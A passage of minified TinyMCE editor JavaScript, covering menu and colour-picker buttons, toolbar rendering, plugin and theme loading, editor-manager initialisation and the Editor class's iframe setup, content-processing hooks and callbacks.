g=this,j,i,h=b.get(g.id),f;if(g.isDisabled()){return}if(!g.isMenuRendered){g.renderMenu();g.isMenuRendered=true}if(g.isMenuVisible){return g.hideMenu()}j=b.getPos(g.settings.menu_container);i=b.getPos(h);f=g.menu;f.settings.offset_x=i.x;f.settings.offset_y=i.y;f.settings.vp_offset_x=i.x;f.settings.vp_offset_y=i.y;f.settings.keyboard_focus=g._focused;f.showMenu(0,h.clientHeight);a.add(b.doc,"mousedown",g.hideMenu,g);g.setState("Selected",1);g.isMenuVisible=1},renderMenu:function(){var f=this,e;e=f.settings.control_manager.createDropMenu(f.id+"_menu",{menu_line:1,"class":this.classPrefix+"Menu",icons:f.settings.icons});e.onHideMenu.add(f.hideMenu,f);f.onRenderMenu.dispatch(f,e);f.menu=e},hideMenu:function(g){var f=this;if(g&&g.type=="mousedown"&&b.getParent(g.target,function(h){return h.id===f.id||h.id===f.id+"_open"})){return}if(!g||!b.getParent(g.target,".mceMenu")){f.setState("Selected",0);a.remove(b.doc,"mousedown",f.hideMenu,f);if(f.menu){f.menu.hideMenu()}}f.isMenuVisible=0},postRender:function(){var e=this,f=e.settings;a.add(e.id,"click",function(){if(!e.isDisabled()){if(f.onclick){f.onclick(e.value)}e.showMenu()}})}})})(tinymce);(function(c){var b=c.DOM,a=c.dom.Event,d=c.each;c.create("tinymce.ui.SplitButton:tinymce.ui.MenuButton",{SplitButton:function(f,e){this.parent(f,e);this.classPrefix="mceSplitButton"},renderHTML:function(){var i,f=this,g=f.settings,e;i="<tbody><tr>";if(g.image){e=b.createHTML("img ",{src:g.image,"class":"mceAction "+g["class"]})}else{e=b.createHTML("span",{"class":"mceAction "+g["class"]},"")}i+="<td>"+b.createHTML("a",{id:f.id+"_action",href:"javascript:;","class":"mceAction "+g["class"],onclick:"return false;",onmousedown:"return false;",title:g.title},e)+"</td>";e=b.createHTML("span",{"class":"mceOpen "+g["class"]});i+="<td>"+b.createHTML("a",{id:f.id+"_open",href:"javascript:;","class":"mceOpen "+g["class"],onclick:"return false;",onmousedown:"return false;",title:g.title},e)+"</td>";i+="</tr></tbody>";return b.createHTML("table",{id:f.id,"class":"mceSplitButton mceSplitButtonEnabled "+g["class"],cellpadding:"0",cellspacing:"0",onmousedown:"return false;",title:g.title},i)},postRender:function(){var e=this,f=e.settings;if(f.onclick){a.add(e.id+"_action","click",function(){if(!e.isDisabled()){f.onclick(e.value)}})}a.add(e.id+"_open","click",e.showMenu,e);a.add(e.id+"_open","focus",function(){e._focused=1});a.add(e.id+"_open","blur",function(){e._focused=0});if(c.isIE6||!b.boxModel){a.add(e.id,"mouseover",function(){if(!b.hasClass(e.id,"mceSplitButtonDisabled")){b.addClass(e.id,"mceSplitButtonHover")}});a.add(e.id,"mouseout",function(){if(!b.hasClass(e.id,"mceSplitButtonDisabled")){b.removeClass(e.id,"mceSplitButtonHover")}})}},destroy:function(){this.parent();a.clear(this.id+"_action");a.clear(this.id+"_open")}})})(tinymce);(function(d){var c=d.DOM,a=d.dom.Event,b=d.is,e=d.each;d.create("tinymce.ui.ColorSplitButton:tinymce.ui.SplitButton",{ColorSplitButton:function(h,g){var f=this;f.parent(h,g);f.settings=g=d.extend({colors:"000000,993300,333300,003300,003366,000080,333399,333333,800000,FF6600,808000,008000,008080,0000FF,666699,808080,FF0000,FF9900,99CC00,339966,33CCCC,3366FF,800080,999999,FF00FF,FFCC00,FFFF00,00FF00,00FFFF,00CCFF,993366,C0C0C0,FF99CC,FFCC99,FFFF99,CCFFCC,CCFFFF,99CCFF,CC99FF,FFFFFF",grid_width:8,default_color:"#888888"},f.settings);f.onShowMenu=new d.util.Dispatcher(f);f.onHideMenu=new d.util.Dispatcher(f);f.value=g.default_color},showMenu:function(){var f=this,g,j,i,h;if(f.isDisabled()){return}if(!f.isMenuRendered){f.renderMenu();f.isMenuRendered=true}if(f.isMenuVisible){return f.hideMenu()}i=c.get(f.id);c.show(f.id+"_menu");c.addClass(i,"mceSplitButtonSelected");h=c.getPos(i);c.setStyles(f.id+"_menu",{left:h.x,top:h.y+i.clientHeight,zIndex:200000});i=0;a.add(c.doc,"mousedown",f.hideMenu,f);f.onShowMenu.dispatch(f);if(f._focused){f._keyHandler=a.add(f.id+"_menu","keydown",function(k){if(k.keyCode==27){f.hideMenu()}});c.select("a",f.id+"_menu")[0].focus()}f.isMenuVisible=1},hideMenu:function(g){var f=this;if(g&&g.type=="mousedown"&&c.getParent(g.target,function(h){return h.id===f.id+"_open"})){return}if(!g||!c.getParent(g.target,".mceSplitButtonMenu")){c.removeClass(f.id,"mceSplitButtonSelected");a.remove(c.doc,"mousedown",f.hideMenu,f);a.remove(f.id+"_menu","keydown",f._keyHandler);c.hide(f.id+"_menu")}f.onHideMenu.dispatch(f);f.isMenuVisible=0},renderMenu:function(){var k=this,f,j=0,l=k.settings,p,h,o,g;g=c.add(l.menu_container,"div",{id:k.id+"_menu","class":l.menu_class+" "+l["class"],style:"position:absolute;left:0;top:-1000px;"});f=c.add(g,"div",{"class":l["class"]+" mceSplitButtonMenu"});c.add(f,"span",{"class":"mceMenuLine"});p=c.add(f,"table",{"class":"mceColorSplitMenu"});h=c.add(p,"tbody");j=0;e(b(l.colors,"array")?l.colors:l.colors.split(","),function(i){i=i.replace(/^#/,"");if(!j--){o=c.add(h,"tr");j=l.grid_width-1}p=c.add(o,"td");p=c.add(p,"a",{href:"javascript:;",style:{backgroundColor:"#"+i},mce_color:"#"+i})});if(l.more_colors_func){p=c.add(h,"tr");p=c.add(p,"td",{colspan:l.grid_width,"class":"mceMoreColors"});p=c.add(p,"a",{id:k.id+"_more",href:"javascript:;",onclick:"return false;","class":"mceMoreColors"},l.more_colors_title);a.add(p,"click",function(i){l.more_colors_func.call(l.more_colors_scope||this);return a.cancel(i)})}c.addClass(f,"mceColorSplitMenu");a.add(k.id+"_menu","click",function(i){var m;i=i.target;if(i.nodeName=="A"&&(m=i.getAttribute("mce_color"))){k.setColor(m)}return a.cancel(i)});return g},setColor:function(g){var f=this;c.setStyle(f.id+"_preview","backgroundColor",g);f.value=g;f.hideMenu();f.settings.onselect(g)},postRender:function(){var f=this,g=f.id;f.parent();c.add(g+"_action","div",{id:g+"_preview","class":"mceColorPreview"});c.setStyle(f.id+"_preview","backgroundColor",f.value)},destroy:function(){this.parent();a.clear(this.id+"_menu");a.clear(this.id+"_more");c.remove(this.id+"_menu")}})})(tinymce);tinymce.create("tinymce.ui.Toolbar:tinymce.ui.Container",{renderHTML:function(){var l=this,e="",g,j,b=tinymce.DOM,m=l.settings,d,a,f,k;k=l.controls;for(d=0;d<k.length;d++){j=k[d];a=k[d-1];f=k[d+1];if(d===0){g="mceToolbarStart";if(j.Button){g+=" mceToolbarStartButton"}else{if(j.SplitButton){g+=" mceToolbarStartSplitButton"}else{if(j.ListBox){g+=" mceToolbarStartListBox"}}}e+=b.createHTML("td",{"class":g},b.createHTML("span",null,"<!-- IE -->"))}if(a&&j.ListBox){if(a.Button||a.SplitButton){e+=b.createHTML("td",{"class":"mceToolbarEnd"},b.createHTML("span",null,"<!-- IE -->"))}}if(b.stdMode){e+='<td style="position: relative">'+j.renderHTML()+"</td>"}else{e+="<td>"+j.renderHTML()+"</td>"}if(f&&j.ListBox){if(f.Button||f.SplitButton){e+=b.createHTML("td",{"class":"mceToolbarStart"},b.createHTML("span",null,"<!-- IE -->"))}}}g="mceToolbarEnd";if(j.Button){g+=" mceToolbarEndButton"}else{if(j.SplitButton){g+=" mceToolbarEndSplitButton"}else{if(j.ListBox){g+=" mceToolbarEndListBox"}}}e+=b.createHTML("td",{"class":g},b.createHTML("span",null,"<!-- IE -->"));return b.createHTML("table",{id:l.id,"class":"mceToolbar"+(m["class"]?" "+m["class"]:""),cellpadding:"0",cellspacing:"0",align:l.settings.align||""},"<tbody><tr>"+e+"</tr></tbody>")}});(function(b){var a=b.util.Dispatcher,c=b.each;b.create("tinymce.AddOnManager",{items:[],urls:{},lookup:{},onAdd:new a(this),get:function(d){return this.lookup[d]},requireLangPack:function(f){var d,e=b.EditorManager.settings;if(e&&e.language){d=this.urls[f]+"/langs/"+e.language+".js";if(!b.dom.Event.domLoaded&&!e.strict_mode){b.ScriptLoader.load(d)}else{b.ScriptLoader.add(d)}}},add:function(e,d){this.items.push(d);this.lookup[e]=d;this.onAdd.dispatch(this,e,d);return d},load:function(h,e,d,g){var f=this;if(f.urls[h]){return}if(e.indexOf("/")!=0&&e.indexOf("://")==-1){e=b.baseURL+"/"+e}f.urls[h]=e.substring(0,e.lastIndexOf("/"));b.ScriptLoader.add(e,d,g)}});b.PluginManager=new b.AddOnManager();b.ThemeManager=new b.AddOnManager()}(tinymce));(function(f){var g=f.each,h=f.extend,e=f.DOM,a=f.dom.Event,c=f.ThemeManager,b=f.PluginManager,d=f.explode;f.create("static tinymce.EditorManager",{editors:{},i18n:{},activeEditor:null,preInit:function(){var i=this,j=window.location;f.documentBaseURL=j.href.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,"");if(!/[\/\\]$/.test(f.documentBaseURL)){f.documentBaseURL+="/"}f.baseURL=new f.util.URI(f.documentBaseURL).toAbsolute(f.baseURL);f.EditorManager.baseURI=new f.util.URI(f.baseURL);if(document.domain&&j.hostname!=document.domain){f.relaxedDomain=document.domain}i.onBeforeUnload=new f.util.Dispatcher(i);a.add(window,"beforeunload",function(k){i.onBeforeUnload.dispatch(i,k)})},init:function(q){var p=this,l,k=f.ScriptLoader,o,n,i=[],m;function j(u,v,r){var t=u[v];if(!t){return}if(f.is(t,"string")){r=t.replace(/\.\w+$/,"");r=r?f.resolve(r):0;t=f.resolve(t)}return t.apply(r||this,Array.prototype.slice.call(arguments,2))}q=h({theme:"simple",language:"en",strict_loading_mode:document.contentType=="application/xhtml+xml"},q);p.settings=q;if(!a.domLoaded&&!q.strict_loading_mode){if(q.language){k.add(f.baseURL+"/langs/"+q.language+".js")}if(q.theme&&q.theme.charAt(0)!="-"&&!c.urls[q.theme]){c.load(q.theme,"themes/"+q.theme+"/editor_template"+f.suffix+".js")}if(q.plugins){l=d(q.plugins);if(f.inArray(l,"compat2x")!=-1){b.load("compat2x","plugins/compat2x/editor_plugin"+f.suffix+".js")}g(l,function(r){if(r&&r.charAt(0)!="-"&&!b.urls[r]){if(!f.isWebKit&&r=="safari"){return}b.load(r,"plugins/"+r+"/editor_plugin"+f.suffix+".js")}})}k.loadQueue()}a.add(document,"init",function(){var r,t;j(q,"onpageload");if(q.browsers){r=false;g(d(q.browsers),function(u){switch(u){case"ie":case"msie":if(f.isIE){r=true}break;case"gecko":if(f.isGecko){r=true}break;case"safari":case"webkit":if(f.isWebKit){r=true}break;case"opera":if(f.isOpera){r=true}break}});if(!r){return}}switch(q.mode){case"exact":r=q.elements||"";if(r.length>0){g(d(r),function(u){if(e.get(u)){m=new f.Editor(u,q);i.push(m);m.render(1)}else{o=0;g(document.forms,function(v){g(v.elements,function(w){if(w.name===u){u="mce_editor_"+o;e.setAttrib(w,"id",u);m=new f.Editor(u,q);i.push(m);m.render(1)}})})}})}break;case"textareas":case"specific_textareas":function s(v,u){return u.constructor===RegExp?u.test(v.className):e.hasClass(v,u)}g(e.select("textarea"),function(u){if(q.editor_deselector&&s(u,q.editor_deselector)){return}if(!q.editor_selector||s(u,q.editor_selector)){n=e.get(u.name);if(!u.id&&!n){u.id=u.name}if(!u.id||p.get(u.id)){u.id=e.uniqueId()}m=new f.Editor(u.id,q);i.push(m);m.render(1)}});break}if(q.oninit){r=t=0;g(i,function(u){t++;if(!u.initialized){u.onInit.add(function(){r++;if(r==t){j(q,"oninit")}})}else{r++}if(r==t){j(q,"oninit")}})}})},get:function(i){return this.editors[i]},getInstanceById:function(i){return this.get(i)},add:function(i){this.editors[i.id]=i;this._setActive(i);return i},remove:function(j){var i=this;if(!i.editors[j.id]){return null}delete i.editors[j.id];if(i.activeEditor==j){g(i.editors,function(k){i._setActive(k);return false})}j.destroy();return j},execCommand:function(o,m,l){var n=this,k=n.get(l),i;switch(o){case"mceFocus":k.focus();return true;case"mceAddEditor":case"mceAddControl":if(!n.get(l)){new f.Editor(l,n.settings).render()}return true;case"mceAddFrameControl":i=l.window;i.tinyMCE=tinyMCE;i.tinymce=f;f.DOM.doc=i.document;f.DOM.win=i;k=new f.Editor(l.element_id,l);k.render();if(f.isIE){function j(){k.destroy();i.detachEvent("onunload",j);i=i.tinyMCE=i.tinymce=null}i.attachEvent("onunload",j)}l.page_window=null;return true;case"mceRemoveEditor":case"mceRemoveControl":if(k){k.remove()}return true;case"mceToggleEditor":if(!k){n.execCommand("mceAddControl",0,l);return true}if(k.isHidden()){k.show()}else{k.hide()}return true}if(n.activeEditor){return n.activeEditor.execCommand(o,m,l)}return false},execInstanceCommand:function(m,l,k,j){var i=this.get(m);if(i){return i.execCommand(l,k,j)}return false},triggerSave:function(){g(this.editors,function(i){i.save()})},addI18n:function(k,l){var i,j=this.i18n;if(!f.is(k,"string")){g(k,function(n,m){g(n,function(q,p){g(q,function(s,r){if(p==="common"){j[m+"."+r]=s}else{j[m+"."+p+"."+r]=s}})})})}else{g(l,function(n,m){j[k+"."+m]=n})}},_setActive:function(i){this.selectedInstance=this.activeEditor=i}});f.EditorManager.preInit()})(tinymce);var tinyMCE=window.tinyMCE=tinymce.EditorManager;(function(n){var o=n.DOM,k=n.dom.Event,f=n.extend,l=n.util.Dispatcher;var j=n.each,a=n.isGecko,b=n.isIE,e=n.isWebKit;var d=n.is,h=n.ThemeManager,c=n.PluginManager,i=n.EditorManager;var p=n.inArray,m=n.grep,g=n.explode;n.create("tinymce.Editor",{Editor:function(u,r){var q=this;q.id=q.editorId=u;q.execCommands={};q.queryStateCommands={};q.queryValueCommands={};q.plugins={};j(["onPreInit","onBeforeRenderUI","onPostRender","onInit","onRemove","onActivate","onDeactivate","onClick","onEvent","onMouseUp","onMouseDown","onDblClick","onKeyDown","onKeyUp","onKeyPress","onContextMenu","onSubmit","onReset","onPaste","onPreProcess","onPostProcess","onBeforeSetContent","onBeforeGetContent","onSetContent","onGetContent","onLoadContent","onSaveContent","onNodeChange","onChange","onBeforeExecCommand","onExecCommand","onUndo","onRedo","onVisualAid","onSetProgressState"],function(s){q[s]=new l(q)});q.settings=r=f({id:u,language:"en",docs_language:"en",theme:"simple",skin:"default",delta_width:0,delta_height:0,popup_css:"",plugins:"",document_base_url:n.documentBaseURL,add_form_submit_trigger:1,submit_patch:1,add_unload_trigger:1,convert_urls:1,relative_urls:1,remove_script_host:1,table_inline_editing:0,object_resizing:1,cleanup:1,accessibility_focus:1,custom_shortcuts:1,custom_undo_redo_keyboard_shortcuts:1,custom_undo_redo_restore_selection:1,custom_undo_redo:1,doctype:'<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">',visual_table_class:"mceItemTable",visual:1,inline_styles:true,convert_fonts_to_spans:true,font_size_style_values:"xx-small,x-small,small,medium,large,x-large,xx-large",apply_source_formatting:1,directionality:"ltr",forced_root_block:"p",valid_elements:"@[id|class|style|title|dir<ltr?rtl|lang|xml::lang|onclick|ondblclick|onmousedown|onmouseup|onmouseover|onmousemove|onmouseout|onkeypress|onkeydown|onkeyup],a[rel|rev|charset|hreflang|tabindex|accesskey|type|name|href|target|title|class|onfocus|onblur],strong/b,em/i,strike,u,#p[align],-ol[type|compact],-ul[type|compact],-li,br,img[longdesc|usemap|src|border|alt=|title|hspace|vspace|width|height|align],-sub,-sup,-blockquote[cite],-table[border=0|cellspacing|cellpadding|width|frame|rules|height|align|summary|bgcolor|background|bordercolor],-tr[rowspan|width|height|align|valign|bgcolor|background|bordercolor],tbody,thead,tfoot,#td[colspan|rowspan|width|height|align|valign|bgcolor|background|bordercolor|scope],#th[colspan|rowspan|width|height|align|valign|scope],caption,-div,-span,-code,-pre,address,-h1,-h2,-h3,-h4,-h5,-h6,hr[size|noshade],-font[face|size|color],dd,dl,dt,cite,abbr,acronym,del[datetime|cite],ins[datetime|cite],object[classid|width|height|codebase|*],param[name|value],embed[type|width|height|src|*],script[src|type],map[name],area[shape|coords|href|alt|target],bdo,button,col[align|char|charoff|span|valign|width],colgroup[align|char|charoff|span|valign|width],dfn,fieldset,form[action|accept|accept-charset|enctype|method],input[accept|alt|checked|disabled|maxlength|name|readonly|size|src|type|value|tabindex|accesskey],kbd,label[for],legend,noscript,optgroup[label|disabled],option[disabled|label|selected|value],q[cite],samp,select[disabled|multiple|name|size],small,textarea[cols|rows|disabled|name|readonly],tt,var,big",hidden_input:1,padd_empty_editor:1,render_ui:1,init_theme:1,force_p_newlines:1,indentation:"30px",keep_styles:1,fix_table_elements:1,removeformat_selector:"span,b,strong,em,i,font,u,strike"},r);q.documentBaseURI=new n.util.URI(r.document_base_url||n.documentBaseURL,{base_uri:tinyMCE.baseURI});q.baseURI=i.baseURI;q.execCallback("setup",q)},render:function(u){var v=this,w=v.settings,x=v.id,q=n.ScriptLoader;if(!k.domLoaded){k.add(document,"init",function(){v.render()});return}if(!u){w.strict_loading_mode=1;tinyMCE.settings=w}if(!v.getElement()){return}if(w.strict_loading_mode){q.settings.strict_mode=w.strict_loading_mode;n.DOM.settings.strict=1}if(!/TEXTAREA|INPUT/i.test(v.getElement().nodeName)&&w.hidden_input&&o.getParent(x,"form")){o.insertAfter(o.create("input",{type:"hidden",name:x}),x)}if(n.WindowManager){v.windowManager=new n.WindowManager(v)}if(w.encoding=="xml"){v.onGetContent.add(function(s,t){if(t.save){t.content=o.encode(t.content)}})}if(w.add_form_submit_trigger){v.onSubmit.addToTop(function(){if(v.initialized){v.save();v.isNotDirty=1}})}if(w.add_unload_trigger){v._beforeUnload=tinyMCE.onBeforeUnload.add(function(){if(v.initialized&&!v.destroyed&&!v.isHidden()){v.save({format:"raw",no_events:true})}})}n.addUnload(v.destroy,v);if(w.submit_patch){v.onBeforeRenderUI.add(function(){var s=v.getElement().form;if(!s){return}if(s._mceOldSubmit){return}if(!s.submit.nodeType&&!s.submit.length){v.formElement=s;s._mceOldSubmit=s.submit;s.submit=function(){i.triggerSave();v.isNotDirty=1;return v.formElement._mceOldSubmit(v.formElement)}}s=null})}function r(){if(w.language){q.add(n.baseURL+"/langs/"+w.language+".js")}if(w.theme&&w.theme.charAt(0)!="-"&&!h.urls[w.theme]){h.load(w.theme,"themes/"+w.theme+"/editor_template"+n.suffix+".js")}j(g(w.plugins),function(s){if(s&&s.charAt(0)!="-"&&!c.urls[s]){if(!e&&s=="safari"){return}c.load(s,"plugins/"+s+"/editor_plugin"+n.suffix+".js")}});q.loadQueue(function(){if(!v.removed){v.init()}})}if(w.plugins.indexOf("compat2x")!=-1){c.load("compat2x","plugins/compat2x/editor_plugin"+n.suffix+".js");q.loadQueue(r)}else{r()}},init:function(){var v,F=this,G=F.settings,C,z,B=F.getElement(),r,q,D,y,A,E;i.add(F);if(G.theme){G.theme=G.theme.replace(/-/,"");r=h.get(G.theme);F.theme=new r();if(F.theme.init&&G.init_theme){F.theme.init(F,h.urls[G.theme]||n.documentBaseURL.replace(/\/$/,""))}}j(g(G.plugins.replace(/\-/g,"")),function(w){var H=c.get(w),t=c.urls[w]||n.documentBaseURL.replace(/\/$/,""),s;if(H){s=new H(F,t);F.plugins[w]=s;if(s.init){s.init(F,t)}}});if(G.popup_css!==false){if(G.popup_css){G.popup_css=F.documentBaseURI.toAbsolute(G.popup_css)}else{G.popup_css=F.baseURI.toAbsolute("themes/"+G.theme+"/skins/"+G.skin+"/dialog.css")}}if(G.popup_css_add){G.popup_css+=","+F.documentBaseURI.toAbsolute(G.popup_css_add)}F.controlManager=new n.ControlManager(F);F.undoManager=new n.UndoManager(F);F.undoManager.onAdd.add(function(t,s){if(!s.initial){return F.onChange.dispatch(F,s,t)}});F.undoManager.onUndo.add(function(t,s){return F.onUndo.dispatch(F,s,t)});F.undoManager.onRedo.add(function(t,s){return F.onRedo.dispatch(F,s,t)});if(G.custom_undo_redo){F.onExecCommand.add(function(t,w,u,H,s){if(w!="Undo"&&w!="Redo"&&w!="mceRepaint"&&(!s||!s.skip_undo)){F.undoManager.add()}})}F.onExecCommand.add(function(s,t){if(!/^(FontName|FontSize)$/.test(t)){F.nodeChanged()}});if(a){function x(s,t){if(!t||!t.initial){F.execCommand("mceRepaint")}}F.onUndo.add(x);F.onRedo.add(x);F.onSetContent.add(x)}F.onBeforeRenderUI.dispatch(F,F.controlManager);if(G.render_ui){C=G.width||B.style.width||B.offsetWidth;z=G.height||B.style.height||B.offsetHeight;F.orgDisplay=B.style.display;E=/^[0-9\.]+(|px)$/i;if(E.test(""+C)){C=Math.max(parseInt(C)+(r.deltaWidth||0),100)}if(E.test(""+z)){z=Math.max(parseInt(z)+(r.deltaHeight||0),100)}r=F.theme.renderUI({targetNode:B,width:C,height:z,deltaWidth:G.delta_width,deltaHeight:G.delta_height});F.editorContainer=r.editorContainer}o.setStyles(r.sizeContainer||r.editorContainer,{width:C,height:z});z=(r.iframeHeight||z)+(typeof(z)=="number"?(r.deltaHeight||0):"");if(z<100){z=100}F.iframeHTML=G.doctype+'<html><head xmlns="http://www.w3.org/1999/xhtml"><base href="'+F.documentBaseURI.getURI()+'" />';F.iframeHTML+='<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';if(n.relaxedDomain){F.iframeHTML+='<script type="text/javascript">document.domain = "'+n.relaxedDomain+'";<\/script>'}y=G.body_id||"tinymce";if(y.indexOf("=")!=-1){y=F.getParam("body_id","","hash");y=y[F.id]||y}A=G.body_class||"";if(A.indexOf("=")!=-1){A=F.getParam("body_class","","hash");A=A[F.id]||""}F.iframeHTML+='</head><body id="'+y+'" class="mceContentBody '+A+'"></body></html>';if(n.relaxedDomain){if(b||(n.isOpera&&parseFloat(opera.version())>=9.5)){D='javascript:(function(){document.open();document.domain="'+document.domain+'";var ed = window.parent.tinyMCE.get("'+F.id+'");document.write(ed.iframeHTML);document.close();ed.setupIframe();})()'}else{if(n.isOpera){D='javascript:(function(){document.open();document.domain="'+document.domain+'";document.close();ed.setupIframe();})()'}}}v=o.add(r.iframeContainer,"iframe",{id:F.id+"_ifr",src:D||'javascript:""',frameBorder:"0",style:{width:"100%",height:z}});F.contentAreaContainer=r.iframeContainer;o.get(r.editorContainer).style.display=F.orgDisplay;o.get(F.id).style.display="none";if(!b||!n.relaxedDomain){F.setupIframe()}B=v=r=null},setupIframe:function(){var z=this,A=z.settings,u=o.get(z.id),v=z.getDoc(),r,x;if(!b||!n.relaxedDomain){v.open();v.write(z.iframeHTML);v.close()}if(!b){try{if(!A.readonly){v.designMode="On"}}catch(w){}}if(b){x=z.getBody();o.hide(x);if(!A.readonly){x.contentEditable=true}o.show(x)}z.dom=new n.DOM.DOMUtils(z.getDoc(),{keep_values:true,url_converter:z.convertURL,url_converter_scope:z,hex_colors:A.force_hex_style_colors,class_filter:A.class_filter,update_styles:1,fix_ie_paragraphs:1});z.serializer=new n.dom.Serializer({entity_encoding:A.entity_encoding,entities:A.entities,valid_elements:A.verify_html===false?"*[*]":A.valid_elements,extended_valid_elements:A.extended_valid_elements,valid_child_elements:A.valid_child_elements,invalid_elements:A.invalid_elements,fix_table_elements:A.fix_table_elements,fix_list_elements:A.fix_list_elements,fix_content_duplication:A.fix_content_duplication,convert_fonts_to_spans:A.convert_fonts_to_spans,font_size_classes:A.font_size_classes,font_size_style_values:A.font_size_style_values,apply_source_formatting:A.apply_source_formatting,remove_linebreaks:A.remove_linebreaks,element_format:A.element_format,dom:z.dom});z.selection=new n.dom.Selection(z.dom,z.getWin(),z.serializer);z.forceBlocks=new n.ForceBlocks(z,{forced_root_block:A.forced_root_block});z.editorCommands=new n.EditorCommands(z);z.serializer.onPreProcess.add(function(s,t){return z.onPreProcess.dispatch(z,t,s)});z.serializer.onPostProcess.add(function(s,t){return z.onPostProcess.dispatch(z,t,s)});z.onPreInit.dispatch(z);if(!A.gecko_spellcheck){z.getBody().spellcheck=0}if(!A.readonly){z._addEvents()}z.controlManager.onPostRender.dispatch(z,z.controlManager);z.onPostRender.dispatch(z);if(A.directionality){z.getBody().dir=A.directionality}if(A.nowrap){z.getBody().style.whiteSpace="nowrap"}if(A.auto_resize){z.onNodeChange.add(z.resizeToContent,z)}if(A.custom_elements){function y(s,t){j(g(A.custom_elements),function(B){var C;if(B.indexOf("~")===0){B=B.substring(1);C="span"}else{C="div"}t.content=t.content.replace(new RegExp("<("+B+")([^>]*)>","g"),"<"+C+' mce_name="$1"$2>');t.content=t.content.replace(new RegExp("</("+B+")>","g"),"</"+C+">")})}z.onBeforeSetContent.add(y);z.onPostProcess.add(function(s,t){if(t.set){y(s,t)}})}if(A.handle_node_change_callback){z.onNodeChange.add(function(t,s,B){z.execCallback("handle_node_change_callback",z.id,B,-1,-1,true,z.selection.isCollapsed())})}if(A.save_callback){z.onSaveContent.add(function(s,B){var t=z.execCallback("save_callback",z.id,B.content,z.getBody());if(t){B.content=t}})}if(A.onchange_callback){z.onChange.add(function(t,s){z.execCallback("onchange_callback",z,s)})}if(A.convert_newlines_to_brs){z.onBeforeSetContent.add(function(s,t){if(t.initial){t.content=t.content.replace(/\r?\n/g,"<br />")}})}if(A.fix_nesting&&b){z.onBeforeSetContent.add(function(s,t){t.content=z._fixNesting(t.content)})}if(A.preformatted){z.onPostProcess.add(function(s,t){t.content=t.content.replace(/^\s*<pre.*?>/,"");t.content=t.content.replace(/<\/pre>\s*$/,"");if(t.set){t.content='<pre class="mceItemHidden">'+t.content+"</pre>"}})}if(A.verify_css_classes){z.serializer.attribValueFilter=function(D,B){var C,t;if(D=="class"){if(!z.classesRE){t=z.dom.getClasses();if(t.length>0){C="";j(t,function(s){C+=(C?"|":"")+s["class"]});z.classesRE=new RegExp("("+C+")","gi")}}return !z.classesRE||/(\bmceItem\w+\b|\bmceTemp\w+\b)/g.test(B)||z.classesRE.test(B)?B:""}return B}}if(A.convert_fonts_to_spans){z._convertFonts()}if(A.inline_styles){z._convertInlineElements()}if(A.cleanup_callback){z.onBeforeSetContent.add(function(s,t){t.content=z.execCallback("cleanup_callback","insert_to_editor",t.content,t)});z.onPreProcess.add(function(s,t){if(t.set){z.execCallback("cleanup_callback","insert_to_editor_dom",t.node,t)}if(t.get){z.execCallback("cleanup_callback","get_from_editor_dom",t.node,t)}});z.onPostProcess.add(function(s,t){if(t.set){t.content=z.execCallback("cleanup_callback","insert_to_editor",t.content,t)}if(t.get){t.content=z.execCallback("cleanup_callback","get_from_editor",t.content,t)}})}if(A.save_callback){z.onGetContent.add(function(s,t){if(t.save){t.content=z.execCallback("save_callback",z.id,t.content,z.getBody())}})}if(A.handle_event_callback){z.onEvent.add(function(s,t,B){if(z.execCallback("handle_event_callback",t,s,B)===false){k.cancel(t)}})}z.onSetContent.add(function(){z.addVisual(z.getBody())});if(A.padd_empty_editor){z.onPostProcess.add(function(s,t){t.content=t.content.replace(/^(<p[^>]*>(&nbsp;|&#160;|\s|\u00a0|)<\/p>[\r\n]*|<br \/>[\r\n]*)$/,"")})}if(a){function q(s,t){j(s.dom.select("a"),function(C){var B=C.parentNode;if(s.dom.isBlock(B)&&B.lastChild===C){s.dom.add(B,"br",{mce_bogus:1})}})}z.onExecCommand.add(function(s,t){if(t==="CreateLink"){q(s)}});z.onSetContent.add(z.selection.onSetContent.add(q));if(!A.readonly){try{v.designMode="Off";v.designMode="On"}catch(w){}}}setTimeout(function(){if(z.removed){return}z.load({initial:true,format:(A.cleanup_on_startup?"html":"raw")});z.startContent=z.getContent({format:"raw"});z.undoManager.add({initial:true});z.initialized=true;z.onInit.dispatch(z);z.execCallback("setupcontent_callback",z.id,z.getBody(),z.getDoc());z.execCallback("init_instance_callback",z);z.focus(true);z.nodeChanged({initial:1});if(A.content_css){n.each(g(A.content_css),function(s){z.dom.loadCSS(z.documentBaseURI.toAbsolute(s))})}if(A.auto_focus){setTimeout(function(){var s=i.get(A.auto_focus);s.selection.select(s.getBody(),1);s.selection.collapse(1);s.getWin().focus()},100)}},1);u=null},focus:function(r){var u,q=this,s=q.settings.content_editable;if(!r){if(!s&&(!b||q.selection.getNode().ownerDocument!=q.getDoc())){q.getWin().focus()}}if(i.activeEditor!=q){if((u=i.activeEditor)!=null){u.onDeactivate.dispatch(u,q)}q.onActivate.dispatch(q,u)}i._setActive(q)},execCallback:function(v){var q=this,u=q.settings[v],r;if(!u){return}if(q.callbackLookup&&(r=q.callbackLookup[v])){u=r.func;r=r.scope}if(d(u,"string")){r=u.replace(/\.\w+$/,"");r=r?n.resolve(r):0;u=n.resolve(u);q.callbackLookup=q.callbackLookup||{};q.callbackLookup[v]={func:u,scope:r}}return u.apply(r||q,Array.prototype.slice.call(arguments,1))},translate:function(q){var t=this.settings.language||"en",r=i.i18n;if(!q){return""}return r[t+"."+q]||q.replace(/{\#([^}]+)\}/g,function(u,s){return r[t+"."+s]||"{#"+s+"}"})},getLang:function(r,q){return i.i18n[(this.settings.language||"en")+"."+r]||(d(q)?q:"{#"+r+"}")},getParam:function(w,s,q){var t=n.trim,r=d(this.settings[w])?this.settings[w]:s,u;if(q==="hash"){u={};if(d(r,"string")){j(r.indexOf("=")>0?r.split(/[;,](?![^=;,]*(?:[;,]|$))/):r.split(","),function(x){x=x.split("=");if(x.length>1){u[t(x[0])]=t(x[1])}else{u[t(x[0])]=t(x)}})}else{u=r}return u}return r},nodeChanged:function(u){var q=this,r=q.selection,v=r.getNode()||q.getBody();if(q.initialized){q.onNodeChange.dispatch(q,u?u.controlManager||q.controlManager:q.controlManager,b&&v.ownerDocument!=q.getDoc()?q.getBody():v,r.isCollapsed(),u)}},addButton:function(u,r){var 